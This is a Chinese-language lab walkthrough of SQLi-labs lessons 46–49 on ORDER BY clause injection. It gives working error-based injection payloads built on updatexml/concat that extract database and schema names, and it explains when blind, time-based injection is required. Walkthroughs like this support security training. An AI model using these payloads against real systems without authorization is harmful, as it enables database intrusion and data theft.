知识补充:
默认的是从小到大
降序排列
将一句话木马转码
Lesson 46 GET - Error based - Numeric - ORDER BY CLAUSE
(1)打开这一关可以看到,这次不再是id值,而变成了sort
(2)先测试
SELECT * FROM users ORDER BY 1
显示出来是这样子的,展现出user表中的所有信息,sort后的数字会写在order by后。这里的1没有进行包裹。
(3)我们再尝试一下2和3,看一下有什么区别
2:
3:
我们可以观察到1,2,3的情况各不相同。通过比对(看2,3),我们可以看到数字是几,哪一列就是从小到大。是1,id值是从小到大;是2,username的开头字母就是从a到z。
(4)通过以上分析我们可以知道可以通过控制sort后的数字来拿取信息,这代表有注入点。
(5)尝试用union select语句
?sort=3 union select 1,2,3
出现报错,因为本身语句中就有order by,union select不能和其一起使用。我们需要换一种方法。
(6)报错注入
?sort=2 and updatexml(1,concat(0x7e,(database())),1) --+
出现信息
?sort=2 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1) --+
取出信息
接下来和之前一样,不再展示
Lesson 46结束
Lesson 47 GET - Error based - String - ORDER BY CLAUSE
(1)先测试
SELECT * FROM users ORDER BY '1'
显示正常,这里的1被单引号进行了包裹。这也是与46关唯一不同的地方,其他均相同。
(2)接着测试
?sort=1' and '1'='1
SELECT * FROM users ORDER BY '1' and '1'='1'
显示正常
(3)进行报错注入
?sort=1' and updatexml( 1,concat(0x7e,(database())),1 ) --+
显示出信息
接下来与上一关相同,不再展示
Lesson 47结束
Lesson 48 GET - Error based - Blind - Numeric - ORDER BY CLAUSE
(1)先测试
SELECT * FROM users ORDER BY 1
显示正常,1没有被包裹。
乍一看与46关没有不同,我们再继续尝试一下
(2)加上单引号
这里看出不同,输入了错误的,按理说应该会回显错误信息,这里并没有进行回显,说明这一关使用的是盲注。
所有这一关不能使用报错注入了,只能使用基于时间的盲注,但是会特别麻烦。
Lesson 48结束
Lesson 49 GET - Error based - String - Blind - ORDER BY CLAUSE
(1)先测试
SELECT * FROM users ORDER BY '1'
显示正常,1被单引号包裹,与47关一样。
(2)输入一个错误的,查看一下回显情况
并没有错误回显,说明是盲注
Lesson 49结束